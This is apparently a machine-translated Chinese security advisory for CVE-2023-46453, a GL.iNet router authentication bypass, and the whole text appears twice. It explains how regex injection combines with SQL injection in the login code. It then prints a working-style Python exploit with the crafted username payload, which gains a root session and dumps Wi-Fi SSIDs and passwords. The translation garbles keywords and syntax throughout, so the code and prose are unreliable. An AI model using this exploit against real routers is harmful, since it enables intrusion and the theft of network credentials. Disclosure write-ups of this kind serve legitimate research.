Dzonerzy安全研究
GLINET:路由器身份验证旁路
=============================================================================================
内容
=============================================================================================
1。概述
2。详细说明
3。利用
4。时间轴
=============================================================================================
1。概述
=============================================================================================
CVE-2023-46453是网络中的远程身份验证旁路漏洞
光滑路由器的接口运行固件版本4.x及以上。这
脆弱性允许攻击者绕过身份验证并获得访问权限
到路由器的Web界面。
=============================================================================================
2。详细说明
=============================================================================================
漏洞是由于缺乏适当的身份验证检查引起的
/usr/sbin/gl-ngx-session文件。该文件负责身份验证
Web界面的用户。身份验证处于不同的阶段。
阶段1:
在第一阶段,用户向挑战RCP发送请求
端点。端点返回以后在以后使用的随机非CE值
认证过程。
阶段2:
在第二阶段,用户将请求发送到登录RCP端点
使用用户名和加密密码。加密密码是
由以下公式:计算
MD5(用户名+ crypt(密码) + nonce)
地穴函数是标准的UNIX Crypt函数。
脆弱性在于用户名没有消毒的事实
在传递到LUA脚本中的login_test函数之前,正确正确。
----------------------------------------------------------------------------------------------------------------------
本地函数login_test(用户名,哈希)
如果不是用户名或用户名=='',然后返回false end
对于io.lines('/etc/shadow')的l
本地pw=l:match('^'.用户名.':([^:]+)')
如果PW,则
对于成对的nonce(nonces)做
如果utils.md5(table.concat({用户名,pw,nonce},':'))==
哈希
nonces [nonce]=nil
nonce_cnt=nonce_cnt -1
返回true
结尾
结尾
返回false
结尾
结尾
返回false
结尾
----------------------------------------------------------------------------------------------------------------------
此脚本检查使用/etc /shadow文件的用户名。如果是用户名
在文件中找到脚本将提取密码哈希并进行比较
它是用户发送的哈希。如果哈希与用户匹配
身份验证。
问题在于,在被用户名没有正确的消毒
与正则串联。这允许攻击者将正则注射到
用户名字段并修改正则表达式的最终行为。
例如,以下用户名与root User:的用户ID匹配
root: [^:] +: [^:]+将成为root: [^:] +: [^:] +:([^3:]+)
这将匹配“ root:”字符串,然后匹配任何字符,直到下一个“ :”
特点。这将导致脚本跳过密码,然后返回
用户ID而不是。
由于root用户的用户ID始终为0,因此脚本将始终
返回:
md5('root: [^:] +: [^:] +' +' +'0' + nonce)
由于此值总是相同的,因此攻击者可以简单地发送已知的
哈希值登录RCP端点并获得对Web接口的访问。
无论如何,这种方法无法正常工作,因为以后在内部的代码中
这
此检查出现:
----------------------------------------------------------------------------------------------------------------------
本地aclGroup=db.get_acl_by_username(用户名)
本地sid=utils.generate_id(32)
会话[sid]={
用户名=用户名,
aclGroup=aclGroup,
超时=time_now() + session_timeout
}
----------------------------------------------------------------------------------------------------------------------
现在是我们的自定义正则义务的用户名将传递给
get_acl_by_username
功能。此功能将对数据库检查用户名,
返回与用户名关联的ACLGROUP。
如果在数据库中找不到用户名,则函数将返回nil,
因此导致攻击失败。
通过检查代码,我们可以看到get_acl_by_username函数是
实际上,将原始字符串附加到查询中,然后执行。
这意味着我们可以将SQL查询注入用户名字段,并
使其返回有效的ACLGroup。
----------------------------------------------------------------------------------------------------------------------
m.get_acl_by_username=函数(用户名)
如果用户名=='root',则返回'root'结束
本地db=sqlite3.open(db)
local sql=string.format('从帐户中选择username=的ACL=
'%s',用户名)
本地aclGroup=''
对于DB:ROWS(SQL)中的A
aclGroup=A [1]
结尾
db:close()
返回ACLGROUP
结尾
----------------------------------------------------------------------------------------------------------------------
使用此有效载荷我们能够制作一个用户名,这既是有效的
正则和有效的SQL Query:
Roo [^'联合选择char(114,111,111,116) - ] : [^:] +: [^:]+
这将使SQL查询变为:
从帐户中选择username='roo [^'联合选择的ACL
char(114,111,111,116) - ] : [^:] +: [^:]+'
它将返回根用户的ACLGROUP(root)。
=============================================================================================
3。利用
=============================================================================================
----------------------------------------------------------------------------------------------------------------------
#Exploit Title: [CVE-2023-46453] GL.Inet-身份验证旁路
#日期: 18/10/2023
#利用作者: Daniele'Dzonerzy'linguaglossa
#供应商homepage: https://www.gl-inet.com/
#脆弱设备:
#GL.Inet GL-MT3000(4.3.7)
#GL.Inet GL-AR300M(4.3.7)
#GL.Inet GL-B1300(4.3.7)
#GL.Inet GL-AX1800(4.3.7)
#GL.Inet GL-AR750S(4.3.7)
#GL.Inet GL-MT2500(4.3.7)
#GL.Inet GL-AXT1800(4.3.7)
#GL.Inet GL-X3000(4.3.7)
#GL.Inet GL-SFT1200(4.3.7)
#还有更多.
#版本: 4.3.7
#固件发布日期: 2023/09/13
#CVE: CVE-2023-46453
来自urllib.parse导入urlparse
导入请求
导入哈希布
导入随机
导入系统
DEF漏洞利用(URL):
TRY:
requests.packages.urllib3.disable_warnings()
主机=urlparse(url)
url=f'{host.scheme} : //{host.netloc}/rpc'
打印(f'[*] target: {url}')
打印('[*]检索nonce .')
nonce=requests.post(url,verify=false,json={
'jsonrpc':'2.0',
'id': Random.Randint(1000,9999),
“方法” :'挑战',
'params': {'username':'root'}
},超时=5).json()
如果在nonce ['result'] :中的nonce和“ nonce”中的“结果”
print(f'[*]获得nonce: {nonce ['result'] ['nonce']}!')
其他:
打印('[!] nonce找不到,退出.(')
sys.exit(1)
打印('[*]检索root的身份验证令牌.')
md5_hash=hashlib.md5()
md5_hash.update(
f'roo [^'联合选择
char(114,111,111,116) - ] : [^:] +: [^:] +:03:
密码=md5_hash.hexdigest()
token=requests.post(url,verify=false,json={
'jsonrpc':'2.0',
'id': Random.Randint(1000,9999),
'Method':'登录',
'params': {
'username': f'roo [^'联合选择
char(114,111,111,116) - ] : [^:] +: [^:]+',
'HASH':密码
}
},超时=5).json()
如果在令牌['result'] :中的令牌和“ sid”中的“结果”和“ sid”
print(f'[*]获得token: {token ['result'] ['sid']}!')
其他:
打印('[!] doken找不到,退出.(')
sys.exit(1)
打印('[*]检查我们是否是根.')
check=requests.post(url,verify=false,json={
'jsonrpc':'2.0',
'id': Random.Randint(1000,9999),
'Method':'呼叫',
'params': [token ['result'] ['sid'],'system','get_status',{}]
},超时=5).json()
如果在检查['result'] :的检查中“结果”和“ wifi”
print('[*]我们被验证为root!)')
打印('[*]以下一些信息:')
对于wifi in Check ['结果'] ['WiFi'] :
打印(f'[*] ----------------------------')
打印(f'[*] SSID: {wifi ['ssid']}')
打印(f'[*] password: {wifi ['passwd']}')
打印(f'[*] band: {wifi ['band']}')
打印(f'[*] ----------------------------')
其他:
print('[!]出现问题,退出.(')
sys.exit(1)
除了requests.exceptions.timeout:
打印('[!]超时错误,退出.(')
sys.exit(1)
除了键盘Interrupt:
打印(f'[!]出了问题: {e}')
如果name=='__ -Main __':
print('gl.inet auth Bypass \ n')
如果Len(sys.argv)2:
打印(
f'usage: python3 {sys.argv [1]} https://Target.com',
file=sys.stderr)
sys.exit(0)
其他:
漏洞(sys.argv [1])
----------------------------------------------------------------------------------------------------------------------
=============================================================================================
4。时间轴
=============================================================================================
2023/09/13-发现的漏洞
2023/09/14-CVE-2023-46453要求
2023/09/20-与供应商联系
2023/09/20-供应商回答
2023/09/30-CVE-2023-46453分配了
2023/11/08-修补并修复了漏洞
GLINET:路由器身份验证旁路
=============================================================================================
内容
=============================================================================================
1。概述
2。详细说明
3。利用
4。时间轴
=============================================================================================
1。概述
=============================================================================================
CVE-2023-46453是网络中的远程身份验证旁路漏洞
光滑路由器的接口运行固件版本4.x及以上。这
脆弱性允许攻击者绕过身份验证并获得访问权限
到路由器的Web界面。
=============================================================================================
2。详细说明
=============================================================================================
漏洞是由于缺乏适当的身份验证检查引起的
/usr/sbin/gl-ngx-session文件。该文件负责身份验证
Web界面的用户。身份验证处于不同的阶段。
阶段1:
在第一阶段,用户向挑战RCP发送请求
端点。端点返回以后在以后使用的随机非CE值
认证过程。
阶段2:
在第二阶段,用户将请求发送到登录RCP端点
使用用户名和加密密码。加密密码是
由以下公式:计算
MD5(用户名+ crypt(密码) + nonce)
地穴函数是标准的UNIX Crypt函数。
脆弱性在于用户名没有消毒的事实
在传递到LUA脚本中的login_test函数之前,正确正确。
----------------------------------------------------------------------------------------------------------------------
本地函数login_test(用户名,哈希)
如果不是用户名或用户名=='',然后返回false end
对于io.lines('/etc/shadow')的l
本地pw=l:match('^'.用户名.':([^:]+)')
如果PW,则
对于成对的nonce(nonces)做
如果utils.md5(table.concat({用户名,pw,nonce},':'))==
哈希
nonces [nonce]=nil
nonce_cnt=nonce_cnt -1
返回true
结尾
结尾
返回false
结尾
结尾
返回false
结尾
----------------------------------------------------------------------------------------------------------------------
此脚本检查使用/etc /shadow文件的用户名。如果是用户名
在文件中找到脚本将提取密码哈希并进行比较
它是用户发送的哈希。如果哈希与用户匹配
身份验证。
问题在于,在被用户名没有正确的消毒
与正则串联。这允许攻击者将正则注射到
用户名字段并修改正则表达式的最终行为。
例如,以下用户名与root User:的用户ID匹配
root: [^:] +: [^:]+将成为root: [^:] +: [^:] +:([^3:]+)
这将匹配“ root:”字符串,然后匹配任何字符,直到下一个“ :”
特点。这将导致脚本跳过密码,然后返回
用户ID而不是。
由于root用户的用户ID始终为0,因此脚本将始终
返回:
md5('root: [^:] +: [^:] +' +' +'0' + nonce)
由于此值总是相同的,因此攻击者可以简单地发送已知的
哈希值登录RCP端点并获得对Web接口的访问。
无论如何,这种方法无法正常工作,因为以后在内部的代码中
这
此检查出现:
----------------------------------------------------------------------------------------------------------------------
本地aclGroup=db.get_acl_by_username(用户名)
本地sid=utils.generate_id(32)
会话[sid]={
用户名=用户名,
aclGroup=aclGroup,
超时=time_now() + session_timeout
}
----------------------------------------------------------------------------------------------------------------------
现在是我们的自定义正则义务的用户名将传递给
get_acl_by_username
功能。此功能将对数据库检查用户名,
返回与用户名关联的ACLGROUP。
如果在数据库中找不到用户名,则函数将返回nil,
因此导致攻击失败。
通过检查代码,我们可以看到get_acl_by_username函数是
实际上,将原始字符串附加到查询中,然后执行。
这意味着我们可以将SQL查询注入用户名字段,并
使其返回有效的ACLGroup。
----------------------------------------------------------------------------------------------------------------------
m.get_acl_by_username=函数(用户名)
如果用户名=='root',则返回'root'结束
本地db=sqlite3.open(db)
local sql=string.format('从帐户中选择username=的ACL=
'%s',用户名)
本地aclGroup=''
对于DB:ROWS(SQL)中的A
aclGroup=A [1]
结尾
db:close()
返回ACLGROUP
结尾
----------------------------------------------------------------------------------------------------------------------
使用此有效载荷我们能够制作一个用户名,这既是有效的
正则和有效的SQL Query:
Roo [^'联合选择char(114,111,111,116) - ] : [^:] +: [^:]+
这将使SQL查询变为:
从帐户中选择username='roo [^'联合选择的ACL
char(114,111,111,116) - ] : [^:] +: [^:]+'
它将返回根用户的ACLGROUP(root)。
=============================================================================================
3。利用
=============================================================================================
----------------------------------------------------------------------------------------------------------------------
#Exploit Title: [CVE-2023-46453] GL.Inet-身份验证旁路
#日期: 18/10/2023
#利用作者: Daniele'Dzonerzy'linguaglossa
#供应商homepage: https://www.gl-inet.com/
#脆弱设备:
#GL.Inet GL-MT3000(4.3.7)
#GL.Inet GL-AR300M(4.3.7)
#GL.Inet GL-B1300(4.3.7)
#GL.Inet GL-AX1800(4.3.7)
#GL.Inet GL-AR750S(4.3.7)
#GL.Inet GL-MT2500(4.3.7)
#GL.Inet GL-AXT1800(4.3.7)
#GL.Inet GL-X3000(4.3.7)
#GL.Inet GL-SFT1200(4.3.7)
#还有更多.
#版本: 4.3.7
#固件发布日期: 2023/09/13
#CVE: CVE-2023-46453
来自urllib.parse导入urlparse
导入请求
导入哈希布
导入随机
导入系统
DEF漏洞利用(URL):
TRY:
requests.packages.urllib3.disable_warnings()
主机=urlparse(url)
url=f'{host.scheme} : //{host.netloc}/rpc'
打印(f'[*] target: {url}')
打印('[*]检索nonce .')
nonce=requests.post(url,verify=false,json={
'jsonrpc':'2.0',
'id': Random.Randint(1000,9999),
“方法” :'挑战',
'params': {'username':'root'}
},超时=5).json()
如果在nonce ['result'] :中的nonce和“ nonce”中的“结果”
print(f'[*]获得nonce: {nonce ['result'] ['nonce']}!')
其他:
打印('[!] nonce找不到,退出.(')
sys.exit(1)
打印('[*]检索root的身份验证令牌.')
md5_hash=hashlib.md5()
md5_hash.update(
f'roo [^'联合选择
char(114,111,111,116) - ] : [^:] +: [^:] +:03:
密码=md5_hash.hexdigest()
token=requests.post(url,verify=false,json={
'jsonrpc':'2.0',
'id': Random.Randint(1000,9999),
'Method':'登录',
'params': {
'username': f'roo [^'联合选择
char(114,111,111,116) - ] : [^:] +: [^:]+',
'HASH':密码
}
},超时=5).json()
如果在令牌['result'] :中的令牌和“ sid”中的“结果”和“ sid”
print(f'[*]获得token: {token ['result'] ['sid']}!')
其他:
打印('[!] doken找不到,退出.(')
sys.exit(1)
打印('[*]检查我们是否是根.')
check=requests.post(url,verify=false,json={
'jsonrpc':'2.0',
'id': Random.Randint(1000,9999),
'Method':'呼叫',
'params': [token ['result'] ['sid'],'system','get_status',{}]
},超时=5).json()
如果在检查['result'] :的检查中“结果”和“ wifi”
print('[*]我们被验证为root!)')
打印('[*]以下一些信息:')
对于wifi in Check ['结果'] ['WiFi'] :
打印(f'[*] ----------------------------')
打印(f'[*] SSID: {wifi ['ssid']}')
打印(f'[*] password: {wifi ['passwd']}')
打印(f'[*] band: {wifi ['band']}')
打印(f'[*] ----------------------------')
其他:
print('[!]出现问题,退出.(')
sys.exit(1)
除了requests.exceptions.timeout:
打印('[!]超时错误,退出.(')
sys.exit(1)
除了键盘Interrupt:
打印(f'[!]出了问题: {e}')
如果name=='__ -Main __':
print('gl.inet auth Bypass \ n')
如果Len(sys.argv)2:
打印(
f'usage: python3 {sys.argv [1]} https://Target.com',
file=sys.stderr)
sys.exit(0)
其他:
漏洞(sys.argv [1])
----------------------------------------------------------------------------------------------------------------------
=============================================================================================
4。时间轴
=============================================================================================
2023/09/13-发现的漏洞
2023/09/14-CVE-2023-46453要求
2023/09/20-与供应商联系
2023/09/20-供应商回答
2023/09/30-CVE-2023-46453分配了
2023/11/08-修补并修复了漏洞